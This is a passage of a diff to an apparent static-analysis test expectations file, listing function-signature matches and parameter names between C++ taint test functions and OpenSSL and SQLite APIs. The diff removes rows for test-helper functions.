taint.cpp:645:14:645:22 | _strnextc | (const char *) | | opt_progname | 0 | | taint.cpp:645:14:645:22 | _strnextc | (const char *) | | ossl_lh_strcasehash | 0 | @@ -10222,7 +10001,6 @@ signatureMatches | taint.cpp:647:6:647:19 | test__strnextc | (const char *) | | X509_LOOKUP_meth_new | 0 | | taint.cpp:647:6:647:19 | test__strnextc | (const char *) | | a2i_IPADDRESS | 0 | | taint.cpp:647:6:647:19 | test__strnextc | (const char *) | | a2i_IPADDRESS_NC | 0 | -| taint.cpp:647:6:647:19 | test__strnextc | (const char *) | | new_pkcs12_builder | 0 | | taint.cpp:647:6:647:19 | test__strnextc | (const char *) | | opt_path_end | 0 | | taint.cpp:647:6:647:19 | test__strnextc | (const char *) | | opt_progname | 0 | | taint.cpp:647:6:647:19 | test__strnextc | (const char *) | | ossl_lh_strcasehash | 0 | @@ -10355,9 +10133,7 @@ signatureMatches | taint.cpp:725:10:725:15 | strtol | (QUIC_RXFC *,uint64_t,int) | | ossl_quic_rxfc_on_rx_stream_frame | 2 | | taint.cpp:725:10:725:15 | strtol | (QUIC_STREAM_ITER *,QUIC_STREAM_MAP *,int) | | ossl_quic_stream_iter_init | 2 | | taint.cpp:725:10:725:15 | strtol | (QUIC_STREAM_MAP *,uint64_t,int) | | ossl_quic_stream_map_alloc | 2 | -| taint.cpp:725:10:725:15 | strtol | (QUIC_TSERVER *,SSL *,int) | | qtest_create_quic_connection_ex | 2 | | taint.cpp:725:10:725:15 | strtol | (RSA *,const OSSL_PARAM[],int) | | ossl_rsa_fromdata | 2 | -| taint.cpp:725:10:725:15 | strtol | (SSL *,SSL *,int) | | create_ssl_connection | 2 | | taint.cpp:725:10:725:15 | strtol | (SSL *,const unsigned char *,int) | | SSL_use_certificate_ASN1 | 2 | | taint.cpp:725:10:725:15 | strtol | (SSL *,const void *,int) | | SSL_write | 2 | | taint.cpp:725:10:725:15 | strtol | (SSL *,void *,int) | | SSL_peek | 2 | @@ -10429,7 +10205,6 @@ signatureMatches | taint.cpp:725:10:725:15 | strtol | (const X509_REVOKED *,int,int) | | X509_REVOKED_get_ext_by_NID | 2 | | taint.cpp:725:10:725:15 | strtol | (const X509_REVOKED *,int,int) | | X509_REVOKED_get_ext_by_critical | 2 | | taint.cpp:725:10:725:15 | strtol | (const X509_SIG *,const char *,int) | | PKCS8_decrypt | 2 | -| taint.cpp:725:10:725:15 | strtol | (const char *,SD *,int) | | sd_load | 2 | | taint.cpp:725:10:725:15 | strtol | (const char *,const OSSL_PARAM *,int) | | print_param_types | 2 | | taint.cpp:725:10:725:15 | strtol | (const char *,const char *,int) | | CRYPTO_strdup | 2 | | taint.cpp:725:10:725:15 | strtol | (const char *,const char *,int) | | sqlite3_strnicmp | 2 | @@ -10486,7 +10261,6 @@ signatureMatches | taint.cpp:735:7:735:12 | malloc | (size_t) | | ossl_param_bytes_to_blocks | 0 | | taint.cpp:735:7:735:12 | malloc | (size_t) | | ossl_quic_sstream_new | 0 | | taint.cpp:735:7:735:12 | malloc | (size_t) | | ssl_cert_new | 0 | -| taint.cpp:735:7:735:12 | malloc | (size_t) | | test_get_argument | 0 | | taint.cpp:735:7:735:12 | malloc | (unsigned long) | | BN_num_bits_word | 0 | | taint.cpp:735:7:735:12 | malloc | (unsigned long) | | BUF_MEM_new_ex | 0 | | taint.cpp:736:7:736:13 | realloc | (ASN1_PCTX *,unsigned long) | | ASN1_PCTX_set_cert_flags | 1 | @@ -10521,10 +10295,6 @@ signatureMatches | taint.cpp:736:7:736:13 | realloc | (OSSL_QUIC_TX_PACKETISER *,size_t) | | ossl_quic_tx_packetiser_record_received_closing_bytes | 1 | | taint.cpp:736:7:736:13 | realloc | (OSSL_RECORD_LAYER *,size_t) | | tls_set_max_frag_len | 1 | | taint.cpp:736:7:736:13 | realloc | (OSSL_RECORD_LAYER *,size_t) | | tls_set_max_pipelines | 1 | -| taint.cpp:736:7:736:13 | realloc | (QTEST_FAULT *,size_t) | | qtest_fault_resize_datagram | 1 | -| taint.cpp:736:7:736:13 | realloc | (QTEST_FAULT *,size_t) | | qtest_fault_resize_handshake | 1 | -| taint.cpp:736:7:736:13 | realloc | (QTEST_FAULT *,size_t) | | qtest_fault_resize_message | 1 | -| taint.cpp:736:7:736:13 | realloc | (QTEST_FAULT *,size_t) | | qtest_fault_resize_plain_packet | 1 | | taint.cpp:736:7:736:13 | realloc | (QUIC_RSTREAM *,size_t) | | ossl_quic_rstream_release_record | 1 | | taint.cpp:736:7:736:13 | realloc | (QUIC_RSTREAM *,size_t) | | ossl_quic_rstream_resize_rbuf | 1 | | taint.cpp:736:7:736:13 | realloc | (QUIC_RXFC *,size_t) | | ossl_quic_rxfc_set_max_window_size | 1 | @@ -10535,7 +10305,6 @@ signatureMatches | taint.cpp:736:7:736:13 | realloc | (SSL *,size_t) | | SSL_set_block_padding | 1 | | taint.cpp:736:7:736:13 | realloc | (SSL *,size_t) | | SSL_set_default_read_buffer_len | 1 | | taint.cpp:736:7:736:13 | realloc | (SSL *,size_t) | | SSL_set_num_tickets | 1 | -| taint.cpp:736:7:736:13 | realloc | (SSL *,size_t) | | create_a_psk | 1 | | taint.cpp:736:7:736:13 | realloc | (SSL *,unsigned long) | | SSL_dane_clear_flags | 1 | | taint.cpp:736:7:736:13 | realloc | (SSL *,unsigned long) | | SSL_dane_set_flags | 1 | | taint.cpp:736:7:736:13 | realloc | (SSL_CONNECTION *,unsigned long) | | tls1_check_ec_tmp_key | 1 | @@ -10643,7 +10412,6 @@ signatureMatches | taint.cpp:782:7:782:11 | fopen | (SSL_CTX *,const char *) | | SSL_CTX_use_psk_identity_hint | 1 | | taint.cpp:782:7:782:11 | fopen | (SSL_CTX *,const char *) | | ossl_quic_set_diag_title | 1 | | taint.cpp:782:7:782:11 | fopen | (SSL_SESSION *,const char *) | | SSL_SESSION_set1_hostname | 1 | -| taint.cpp:782:7:782:11 | fopen | (STANZA *,const char *) | | test_start_file | 1 | | taint.cpp:782:7:782:11 | fopen | (UI *,const char *) | | UI_add_error_string | 1 | | taint.cpp:782:7:782:11 | fopen | (UI *,const char *) | | UI_add_info_string | 1 | | taint.cpp:782:7:782:11 | fopen | (UI *,const char *) | | UI_dup_error_string | 1 | @@ -10671,8 +10439,6 @@ signatureMatches | taint.cpp:782:7:782:11 | fopen | (const char *,const char *) | | sqlite3_strglob | 1 | | taint.cpp:782:7:782:11 | fopen | (const char *,const char *) | | sqlite3_stricmp | 0 | | taint.cpp:782:7:782:11 | fopen | (const char *,const char *) | | sqlite3_stricmp | 1 | -| taint.cpp:782:7:782:11 | fopen | (const char *,const char *) | | test_mk_file_path | 0 | -| taint.cpp:782:7:782:11 | fopen | (const char *,const char *) | | test_mk_file_path | 1 | | taint.cpp:782:7:782:11 | fopen | (int,const char *) | | BIO_meth_new | 1 | | taint.cpp:782:7:782:11 | fopen | (lemon *,const char *) | | file_makename | 1 | | taint.cpp:782:7:782:11 | fopen | (size_t *,const char *) | | next_protos_parse | 1 | @@ -10700,14 +10466,11 @@ signatureMatches | taint.cpp:783:5:783:11 | fopen_s | (OSSL_CMP_MSG *,OSSL_LIB_CTX *,const char *) | | ossl_cmp_msg_set0_libctx | 2 | | taint.cpp:783:5:783:11 | fopen_s | (OSSL_DECODER *,void *,const char *) | | ossl_decoder_instance_new_forprov | 2 | | taint.cpp:783:5:783:11 | fopen_s | (OSSL_LIB_CTX *,EVP_PKEY *,const char *) | | EVP_PKEY_CTX_new_from_pkey | 2 | -| taint.cpp:783:5:783:11 | fopen_s | (OSSL_LIB_CTX *,SSL_CTX *,const char *) | | ssl_ctx_add_large_cert_chain | 2 | | taint.cpp:783:5:783:11 | fopen_s | (OSSL_LIB_CTX *,const char *,const char *) | | EVP_PKEY_CTX_new_from_name | 1 | | taint.cpp:783:5:783:11 | fopen_s | (OSSL_LIB_CTX *,const char *,const char *) | | EVP_PKEY_CTX_new_from_name | 2 | | taint.cpp:783:5:783:11 | fopen_s | (OSSL_LIB_CTX *,const char *,const char *) | | ossl_slh_dsa_key_new | 1 | | taint.cpp:783:5:783:11 | fopen_s | (OSSL_LIB_CTX *,const char *,const char *) | | ossl_slh_dsa_key_new | 2 | | taint.cpp:783:5:783:11 | fopen_s | (OSSL_NAMEMAP *,int,const char *) | | ossl_namemap_add_name | 2 | -| taint.cpp:783:5:783:11 | fopen_s | (OSSL_SELF_TEST *,const char *,const char *) | | OSSL_SELF_TEST_onbegin | 1 | -| taint.cpp:783:5:783:11 | fopen_s | (OSSL_SELF_TEST *,const char *,const char *) | | OSSL_SELF_TEST_onbegin | 2 | | taint.cpp:783:5:783:11 | fopen_s | (PROV_CTX *,const char *,const char *) | | ossl_prov_ctx_get_param | 1 | | taint.cpp:783:5:783:11 | fopen_s | (PROV_CTX *,const char *,const char *) | | ossl_prov_ctx_get_param | 2 | | taint.cpp:783:5:783:11 | fopen_s | (SRP_user_pwd *,const char *,const char *) | | SRP_user_pwd_set1_ids | 1 | @@ -11152,7 +10915,6 @@ signatureMatches | taint.cpp:822:6:822:19 | take_const_ptr | (SSL_CTX *,const char *) | | SSL_CTX_use_psk_identity_hint | 1 | | taint.cpp:822:6:822:19 | take_const_ptr | (SSL_CTX *,const char *) | | ossl_quic_set_diag_title | 1 | | taint.cpp:822:6:822:19 | take_const_ptr | (SSL_SESSION *,const char *) | | SSL_SESSION_set1_hostname | 1 | -| taint.cpp:822:6:822:19 | take_const_ptr | (STANZA *,const char *) | | test_start_file | 1 | | taint.cpp:822:6:822:19 | take_const_ptr | (UI *,const char *) | | UI_add_error_string | 1 | | taint.cpp:822:6:822:19 | take_const_ptr | (UI *,const char *) | | UI_add_info_string | 1 | | taint.cpp:822:6:822:19 | take_const_ptr | (UI *,const char *) | | UI_dup_error_string | 1 | @@ -11180,8 +10942,6 @@ signatureMatches | taint.cpp:822:6:822:19 | take_const_ptr | (const char *,const char *) | | sqlite3_strglob | 1 | | taint.cpp:822:6:822:19 | take_const_ptr | (const char *,const char *) | | sqlite3_stricmp | 0 | | taint.cpp:822:6:822:19 | take_const_ptr | (const char *,const char *) | | sqlite3_stricmp | 1 | -| taint.cpp:822:6:822:19 | take_const_ptr | (const char *,const char *) | | test_mk_file_path | 0 | -| taint.cpp:822:6:822:19 | take_const_ptr | (const char *,const char *) | | test_mk_file_path | 1 | | taint.cpp:822:6:822:19 | take_const_ptr | (int,const char *) | | BIO_meth_new | 1 | | taint.cpp:822:6:822:19 | take_const_ptr | (lemon *,const char *) | | file_makename | 1 | | taint.cpp:822:6:822:19 | take_const_ptr | (size_t *,const char *) | | next_protos_parse | 1 | @@ -11217,12 +10977,9 @@ signatureMatches | vector.cpp:13:6:13:9 | sink | (int) | | ossl_cmp_bodytype_to_string | 0 | | vector.cpp:13:6:13:9 | sink | (int) | | ossl_tolower | 0 | | vector.cpp:13:6:13:9 | sink | (int) | | ossl_toupper | 0 | -| vector.cpp:13:6:13:9 | sink | (int) | | pulldown_test_framework | 0 | | vector.cpp:13:6:13:9 | sink | (int) | | sqlite3_compileoption_get | 0 | | vector.cpp:13:6:13:9 | sink | (int) | | sqlite3_errstr | 0 | -| vector.cpp:13:6:13:9 | sink | (int) | | tls1_alert_code | 0 | | vector.cpp:13:6:13:9 | sink | (int) | | tls13_alert_code | 0 | -| vector.cpp:13:6:13:9 | sink | (int) | | wait_until_sock_readable | 0 | | vector.cpp:16:6:16:37 | test_range_based_for_loop_vector | (int) | | ASN1_STRING_type_new | 0 | | vector.cpp:16:6:16:37 | test_range_based_for_loop_vector | (int) | | ASN1_tag2bit | 0 | | vector.cpp:16:6:16:37 | test_range_based_for_loop_vector | (int) | | ASN1_tag2str | 0 | @@ -11245,12 +11002,9 @@ signatureMatches | vector.cpp:16:6:16:37 | test_range_based_for_loop_vector | (int) | | ossl_cmp_bodytype_to_string | 0 | | vector.cpp:16:6:16:37 | test_range_based_for_loop_vector | (int) | | ossl_tolower | 0 | | vector.cpp:16:6:16:37 | test_range_based_for_loop_vector | (int) | | ossl_toupper | 0 | -| vector.cpp:16:6:16:37 | test_range_based_for_loop_vector | (int) | | pulldown_test_framework | 0 | | vector.cpp:16:6:16:37 | test_range_based_for_loop_vector | (int) | | sqlite3_compileoption_get | 0 | | vector.cpp:16:6:16:37 | test_range_based_for_loop_vector | (int) | | sqlite3_errstr | 0 | -| vector.cpp:16:6:16:37 | test_range_based_for_loop_vector | (int) | | tls1_alert_code | 0 | | vector.cpp:16:6:16:37 | test_range_based_for_loop_vector | (int) | | tls13_alert_code | 0 | -| vector.cpp:16:6:16:37 | test_range_based_for_loop_vector | (int) | | wait_until_sock_readable | 0 | | vector.cpp:37:6:37:23 | test_element_taint | (int) | | ASN1_STRING_type_new | 0 | | vector.cpp:37:6:37:23 | test_element_taint | (int) | | ASN1_tag2bit | 0 | | vector.cpp:37:6:37:23 | test_element_taint | (int) | | ASN1_tag2str | 0 | @@ -11273,12 +11027,9 @@ signatureMatches | vector.cpp:37:6:37:23 | test_element_taint | (int) | | ossl_cmp_bodytype_to_string | 0 | | vector.cpp:37:6:37:23 | test_element_taint | (int) | | ossl_tolower | 0 | | vector.cpp:37:6:37:23 | test_element_taint | (int) | | ossl_toupper | 0 | -| vector.cpp:37:6:37:23 | test_element_taint | (int) | | pulldown_test_framework | 0 | | vector.cpp:37:6:37:23 | test_element_taint | (int) | | sqlite3_compileoption_get | 0 | | vector.cpp:37:6:37:23 | test_element_taint | (int) | | sqlite3_errstr | 0 | -| vector.cpp:37:6:37:23 | test_element_taint | (int) | | tls1_alert_code | 0 | | vector.cpp:37:6:37:23 | test_element_taint | (int) | | tls13_alert_code | 0 | -| vector.cpp:37:6:37:23 | test_element_taint | (int) | | wait_until_sock_readable | 0 | | vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (ASN1_STRING *,int) | | ASN1_STRING_length_set | 1 | | vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (ASYNC_WAIT_CTX *,int) | | ASYNC_WAIT_CTX_set_status | 1 | | vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (BIGNUM *,int) | | BN_clear_bit | 1 | @@ -11590,12 +11341,9 @@ signatureMatches | vector.cpp:337:6:337:32 | test_vector_output_iterator | (int) | | ossl_cmp_bodytype_to_string | 0 | | vector.cpp:337:6:337:32 | test_vector_output_iterator | (int) | | ossl_tolower | 0 | | vector.cpp:337:6:337:32 | test_vector_output_iterator | (int) | | ossl_toupper | 0 | -| vector.cpp:337:6:337:32 | test_vector_output_iterator | (int) | | pulldown_test_framework | 0 | | vector.cpp:337:6:337:32 | test_vector_output_iterator | (int) | | sqlite3_compileoption_get | 0 | | vector.cpp:337:6:337:32 | test_vector_output_iterator | (int) | | sqlite3_errstr | 0 | -| vector.cpp:337:6:337:32 | test_vector_output_iterator | (int) | | tls1_alert_code | 0 | | vector.cpp:337:6:337:32 | test_vector_output_iterator | (int) | | tls13_alert_code | 0 | -| vector.cpp:337:6:337:32 | test_vector_output_iterator | (int) | | wait_until_sock_readable | 0 | | vector.cpp:417:6:417:25 | test_vector_inserter | (char *) | | SRP_VBASE_new | 0 | | vector.cpp:417:6:417:25 | test_vector_inserter | (char *) | | defossilize | 0 | | vector.cpp:417:6:417:25 | test_vector_inserter | (char *) | | make_uppercase | 0 | @@ -11666,7 +11414,6 @@ signatureMatches | vector.cpp:454:7:454:12 | memcpy | (PROV_CIPHER_CTX *,const unsigned char *,size_t) | | ossl_cipher_generic_initiv | 2 | | vector.cpp:454:7:454:12 | memcpy | (PROV_CIPHER_CTX *,const unsigned char *,size_t) | | ossl_cipher_hw_tdes_ede3_initkey | 2 | | vector.cpp:454:7:454:12 | memcpy | (PROV_GCM_CTX *,const unsigned char *,size_t) | | ossl_gcm_aad_update | 2 | -| vector.cpp:454:7:454:12 | memcpy | (QTEST_FAULT *,const unsigned char *,size_t) | | qtest_fault_prepend_frame | 2 | | vector.cpp:454:7:454:12 | memcpy | (QUIC_PN,unsigned char *,size_t) | | ossl_quic_wire_encode_pkt_hdr_pn | 2 | | vector.cpp:454:7:454:12 | memcpy | (QUIC_RXFC *,OSSL_STATM *,size_t) | | ossl_quic_rstream_new | 2 | | vector.cpp:454:7:454:12 | memcpy | (QUIC_TLS *,const unsigned char *,size_t) | | ossl_quic_tls_set_transport_params | 2 | @@ -11827,7 +11574,6 @@ signatureMatches | zmq.cpp:17:6:17:13 | test_zmc | (PROV_CIPHER_CTX *,const unsigned char *,size_t) | | ossl_cipher_generic_initiv | 2 | | zmq.cpp:17:6:17:13 | test_zmc | (PROV_CIPHER_CTX *,const unsigned char *,size_t) | | ossl_cipher_hw_tdes_ede3_initkey | 2 | | zmq.cpp:17:6:17:13 | test_zmc | (PROV_GCM_CTX *,const unsigned char *,size_t) | | ossl_gcm_aad_update | 2 | -| zmq.cpp:17:6:17:13 | test_zmc | (QTEST_FAULT *,const unsigned char *,size_t) | | qtest_fault_prepend_frame | 2 | | zmq.cpp:17:6:17:13 | test_zmc | (QUIC_PN,unsigned char *,size_t) | | ossl_quic_wire_encode_pkt_hdr_pn | 2 | | zmq.cpp:17:6:17:13 | test_zmc | (QUIC_RXFC *,OSSL_STATM *,size_t) | | ossl_quic_rstream_new | 2 | | zmq.cpp:17:6:17:13 | test_zmc | (QUIC_TLS *,const unsigned char *,size_t) | | ossl_quic_tls_set_transport_params | 2 | @@ -13439,11 +13185,6 @@ getSignatureParameterName | (BIO *,const char *,const stack_st_X509_EXTENSION *,unsigned long,int) | | X509V3_extensions_print | 2 | const stack_st_X509_EXTENSION * | | (BIO *,const char *,const stack_st_X509_EXTENSION *,unsigned long,int) | | X509V3_extensions_print | 3 | unsigned long | | (BIO *,const char *,const stack_st_X509_EXTENSION *,unsigned long,int) | | X509V3_extensions_print | 4 | int | -| (BIO *,const char *,int,int,int) | | mempacket_test_inject | 0 | BIO * | -| (BIO *,const char *,int,int,int) | | mempacket_test_inject | 1 | const char * | -| (BIO *,const char *,int,int,int) | | mempacket_test_inject | 2 | int | -| (BIO *,const char *,int,int,int) | | mempacket_test_inject | 3 | int | -| (BIO *,const char *,int,int,int) | | mempacket_test_inject | 4 | int | | (BIO *,const char *,va_list) | | BIO_vprintf | 0 | BIO * | | (BIO *,const char *,va_list) | | BIO_vprintf | 1 | const char * | | (BIO *,const char *,va_list) | | BIO_vprintf | 2 | va_list | @@ -13599,8 +13340,6 @@ getSignatureParameterName | (BIO_METHOD *,..(*)(..)) | | BIO_meth_set_write | 1 | ..(*)(..) | | (BIO_METHOD *,..(*)(..)) | | BIO_meth_set_write_ex | 0 | BIO_METHOD * | | (BIO_METHOD *,..(*)(..)) | | BIO_meth_set_write_ex | 1 | ..(*)(..) | -| (BIO_MSG *,BIO_MSG *) | | bio_msg_copy | 0 | BIO_MSG * | -| (BIO_MSG *,BIO_MSG *) | | bio_msg_copy | 1 | BIO_MSG * | | (BLAKE2B_CTX *,const BLAKE2B_PARAM *) | | ossl_blake2b_init | 0 | BLAKE2B_CTX * | | (BLAKE2B_CTX *,const BLAKE2B_PARAM *) | | ossl_blake2b_init | 1 | const BLAKE2B_PARAM * | | (BLAKE2B_CTX *,const BLAKE2B_PARAM *,const void *) | | ossl_blake2b_init_key | 0 | BLAKE2B_CTX * | @@ -15361,8 +15100,6 @@ getSignatureParameterName | (EVP_RAND *,EVP_RAND_CTX *) | | EVP_RAND_CTX_new | 1 | EVP_RAND_CTX * | | (EVP_RAND_CTX *) | | EVP_RAND_CTX_get0_rand | 0 | EVP_RAND_CTX * | | (EVP_RAND_CTX *) | | evp_rand_can_seed | 0 | EVP_RAND_CTX * | -| (EVP_RAND_CTX *,..(*)(..)) | | fake_rand_set_callback | 0 | EVP_RAND_CTX * | -| (EVP_RAND_CTX *,..(*)(..)) | | fake_rand_set_callback | 1 | ..(*)(..) | | (EVP_RAND_CTX *,unsigned char *,size_t) | | EVP_RAND_nonce | 0 | EVP_RAND_CTX * | | (EVP_RAND_CTX *,unsigned char *,size_t) | | EVP_RAND_nonce | 1 | unsigned char * | | (EVP_RAND_CTX *,unsigned char *,size_t) | | EVP_RAND_nonce | 2 | size_t | @@ -16727,8 +16464,6 @@ getSignatureParameterName | (OSSL_BASIC_ATTR_CONSTRAINTS **,const unsigned char **,long) | | d2i_OSSL_BASIC_ATTR_CONSTRAINTS | 0 | OSSL_BASIC_ATTR_CONSTRAINTS ** | | (OSSL_BASIC_ATTR_CONSTRAINTS **,const unsigned char **,long) | | d2i_OSSL_BASIC_ATTR_CONSTRAINTS | 1 | const unsigned char ** | | (OSSL_BASIC_ATTR_CONSTRAINTS **,const unsigned char **,long) | | d2i_OSSL_BASIC_ATTR_CONSTRAINTS | 2 | long | -| (OSSL_CALLBACK *,void *) | | OSSL_SELF_TEST_new | 0 | OSSL_CALLBACK * | -| (OSSL_CALLBACK *,void *) | | OSSL_SELF_TEST_new | 1 | void * | | (OSSL_CMP_ATAV *,ASN1_OBJECT *,ASN1_TYPE *) | | OSSL_CMP_ATAV_set0 | 0 | OSSL_CMP_ATAV * | | (OSSL_CMP_ATAV *,ASN1_OBJECT *,ASN1_TYPE *) | | OSSL_CMP_ATAV_set0 | 1 | ASN1_OBJECT * | | (OSSL_CMP_ATAV *,ASN1_OBJECT *,ASN1_TYPE *) | | OSSL_CMP_ATAV_set0 | 2 | ASN1_TYPE * | @@ -17400,11 +17135,6 @@ getSignatureParameterName | (OSSL_LIB_CTX *) | | RAND_get0_primary | 0 | OSSL_LIB_CTX * | | (OSSL_LIB_CTX *) | | RAND_get0_private | 0 | OSSL_LIB_CTX * | | (OSSL_LIB_CTX *) | | RAND_get0_public | 0 | OSSL_LIB_CTX * | -| (OSSL_LIB_CTX *) | | SSL_TEST_CTX_new | 0 | OSSL_LIB_CTX * | -| (OSSL_LIB_CTX *) | | fake_cipher_start | 0 | OSSL_LIB_CTX * | -| (OSSL_LIB_CTX *) | | fake_pipeline_start | 0 | OSSL_LIB_CTX * | -| (OSSL_LIB_CTX *) | | fake_rand_start | 0 | OSSL_LIB_CTX * | -| (OSSL_LIB_CTX *) | | fake_rsa_start | 0 | OSSL_LIB_CTX * | | (OSSL_LIB_CTX *) | | ossl_dh_new_ex | 0 | OSSL_LIB_CTX * | | (OSSL_LIB_CTX *) | | ossl_do_ex_data_init | 0 | OSSL_LIB_CTX * | | (OSSL_LIB_CTX *) | | ossl_dsa_new | 0 | OSSL_LIB_CTX * | @@ -17418,16 +17148,6 @@ getSignatureParameterName | (OSSL_LIB_CTX *) | | ossl_provider_store_new | 0 | OSSL_LIB_CTX * | | (OSSL_LIB_CTX *) | | ossl_rand_get0_seed_noncreating | 0 | OSSL_LIB_CTX * | | (OSSL_LIB_CTX *) | | ossl_rsa_new_with_ctx | 0 | OSSL_LIB_CTX * | -| (OSSL_LIB_CTX **,OSSL_PROVIDER **,OSSL_PROVIDER **,int,const char *) | | test_arg_libctx | 0 | OSSL_LIB_CTX ** | -| (OSSL_LIB_CTX **,OSSL_PROVIDER **,OSSL_PROVIDER **,int,const char *) | | test_arg_libctx | 1 | OSSL_PROVIDER ** | -| (OSSL_LIB_CTX **,OSSL_PROVIDER **,OSSL_PROVIDER **,int,const char *) | | test_arg_libctx | 2 | OSSL_PROVIDER ** | -| (OSSL_LIB_CTX **,OSSL_PROVIDER **,OSSL_PROVIDER **,int,const char *) | | test_arg_libctx | 3 | int | -| (OSSL_LIB_CTX **,OSSL_PROVIDER **,OSSL_PROVIDER **,int,const char *) | | test_arg_libctx | 4 | const char * | -| (OSSL_LIB_CTX **,OSSL_PROVIDER **,const char *,OSSL_PROVIDER **,const char *) | | test_get_libctx | 0 | OSSL_LIB_CTX ** | -| (OSSL_LIB_CTX **,OSSL_PROVIDER **,const char *,OSSL_PROVIDER **,const char *) | | test_get_libctx | 1 | OSSL_PROVIDER ** | -| (OSSL_LIB_CTX **,OSSL_PROVIDER **,const char *,OSSL_PROVIDER **,const char *) | | test_get_libctx | 2 | const char * | -| (OSSL_LIB_CTX **,OSSL_PROVIDER **,const char *,OSSL_PROVIDER **,const char *) | | test_get_libctx | 3 | OSSL_PROVIDER ** | -| (OSSL_LIB_CTX **,OSSL_PROVIDER **,const char *,OSSL_PROVIDER **,const char *) | | test_get_libctx | 4 | const char * | | (OSSL_LIB_CTX **,const char **,const X509_PUBKEY *) | | ossl_x509_PUBKEY_get0_libctx | 0 | OSSL_LIB_CTX ** | | (OSSL_LIB_CTX **,const char **,const X509_PUBKEY *) | | ossl_x509_PUBKEY_get0_libctx | 1 | const char ** | | (OSSL_LIB_CTX **,const char **,const X509_PUBKEY *) | | ossl_x509_PUBKEY_get0_libctx | 2 | const X509_PUBKEY * | @@ -17479,9 +17199,6 @@ getSignatureParameterName | (OSSL_LIB_CTX *,FFC_PARAMS *,int,size_t,size_t,int *,BN_GENCB *) | | ossl_ffc_params_FIPS186_4_generate | 4 | size_t | | (OSSL_LIB_CTX *,FFC_PARAMS *,int,size_t,size_t,int *,BN_GENCB *) | | ossl_ffc_params_FIPS186_4_generate | 5 | int * | | (OSSL_LIB_CTX *,FFC_PARAMS *,int,size_t,size_t,int *,BN_GENCB *) | | ossl_ffc_params_FIPS186_4_generate | 6 | BN_GENCB * | -| (OSSL_LIB_CTX *,OSSL_CALLBACK **,void **) | | OSSL_SELF_TEST_get_callback | 0 | OSSL_LIB_CTX * | -| (OSSL_LIB_CTX *,OSSL_CALLBACK **,void **) | | OSSL_SELF_TEST_get_callback | 1 | OSSL_CALLBACK ** | -| (OSSL_LIB_CTX *,OSSL_CALLBACK **,void **) | | OSSL_SELF_TEST_get_callback | 2 | void ** | | (OSSL_LIB_CTX *,OSSL_CORE_BIO *) | | BIO_new_from_core_bio | 0 | OSSL_LIB_CTX * | | (OSSL_LIB_CTX *,OSSL_CORE_BIO *) | | BIO_new_from_core_bio | 1 | OSSL_CORE_BIO * | | (OSSL_LIB_CTX *,OSSL_INDICATOR_CALLBACK **) | | OSSL_INDICATOR_get_callback | 0 | OSSL_LIB_CTX * | @@ -17492,19 +17209,6 @@ getSignatureParameterName | (OSSL_LIB_CTX *,OSSL_PROPERTY_IDX) | | ossl_property_value_str | 1 | OSSL_PROPERTY_IDX | | (OSSL_LIB_CTX *,OSSL_PROVIDER_INFO *) | | ossl_provider_info_add_to_store | 0 | OSSL_LIB_CTX * | | (OSSL_LIB_CTX *,OSSL_PROVIDER_INFO *) | | ossl_provider_info_add_to_store | 1 | OSSL_PROVIDER_INFO * | -| (OSSL_LIB_CTX *,SSL_CTX *,SSL_CTX *,char *,char *,int,QUIC_TSERVER **,SSL **,QTEST_FAULT **,BIO **) | | qtest_create_quic_objects | 0 | OSSL_LIB_CTX * | -| (OSSL_LIB_CTX *,SSL_CTX *,SSL_CTX *,char *,char *,int,QUIC_TSERVER **,SSL **,QTEST_FAULT **,BIO **) | | qtest_create_quic_objects | 1 | SSL_CTX * | -| (OSSL_LIB_CTX *,SSL_CTX *,SSL_CTX *,char *,char *,int,QUIC_TSERVER **,SSL **,QTEST_FAULT **,BIO **) | | qtest_create_quic_objects | 2 | SSL_CTX * | -| (OSSL_LIB_CTX *,SSL_CTX *,SSL_CTX *,char *,char *,int,QUIC_TSERVER **,SSL **,QTEST_FAULT **,BIO **) | | qtest_create_quic_objects | 3 | char * | -| (OSSL_LIB_CTX *,SSL_CTX *,SSL_CTX *,char *,char *,int,QUIC_TSERVER **,SSL **,QTEST_FAULT **,BIO **) | | qtest_create_quic_objects | 4 | char * | -| (OSSL_LIB_CTX *,SSL_CTX *,SSL_CTX *,char *,char *,int,QUIC_TSERVER **,SSL **,QTEST_FAULT **,BIO **) | | qtest_create_quic_objects | 5 | int | -| (OSSL_LIB_CTX *,SSL_CTX *,SSL_CTX *,char *,char *,int,QUIC_TSERVER **,SSL **,QTEST_FAULT **,BIO **) | | qtest_create_quic_objects | 6 | QUIC_TSERVER ** | -| (OSSL_LIB_CTX *,SSL_CTX *,SSL_CTX *,char *,char *,int,QUIC_TSERVER **,SSL **,QTEST_FAULT **,BIO **) | | qtest_create_quic_objects | 7 | SSL ** | -| (OSSL_LIB_CTX *,SSL_CTX *,SSL_CTX *,char *,char *,int,QUIC_TSERVER **,SSL **,QTEST_FAULT **,BIO **) | | qtest_create_quic_objects | 8 | QTEST_FAULT ** | -| (OSSL_LIB_CTX *,SSL_CTX *,SSL_CTX *,char *,char *,int,QUIC_TSERVER **,SSL **,QTEST_FAULT **,BIO **) | | qtest_create_quic_objects | 9 | BIO ** | -| (OSSL_LIB_CTX *,SSL_CTX *,const char *) | | ssl_ctx_add_large_cert_chain | 0 | OSSL_LIB_CTX * | -| (OSSL_LIB_CTX *,SSL_CTX *,const char *) | | ssl_ctx_add_large_cert_chain | 1 | SSL_CTX * | -| (OSSL_LIB_CTX *,SSL_CTX *,const char *) | | ssl_ctx_add_large_cert_chain | 2 | const char * | | (OSSL_LIB_CTX *,const BIO_METHOD *) | | BIO_new_ex | 0 | OSSL_LIB_CTX * | | (OSSL_LIB_CTX *,const BIO_METHOD *) | | BIO_new_ex | 1 | const BIO_METHOD * | | (OSSL_LIB_CTX *,const FFC_PARAMS *,int,int *) | | ossl_ffc_params_full_validate | 0 | OSSL_LIB_CTX * | @@ -17536,15 +17240,6 @@ getSignatureParameterName | (OSSL_LIB_CTX *,const OSSL_PROPERTY_LIST *,char *,size_t) | | ossl_property_list_to_string | 1 | const OSSL_PROPERTY_LIST * | | (OSSL_LIB_CTX *,const OSSL_PROPERTY_LIST *,char *,size_t) | | ossl_property_list_to_string | 2 | char * | | (OSSL_LIB_CTX *,const OSSL_PROPERTY_LIST *,char *,size_t) | | ossl_property_list_to_string | 3 | size_t | -| (OSSL_LIB_CTX *,const SSL_METHOD *,const SSL_METHOD *,int,int,SSL_CTX **,SSL_CTX 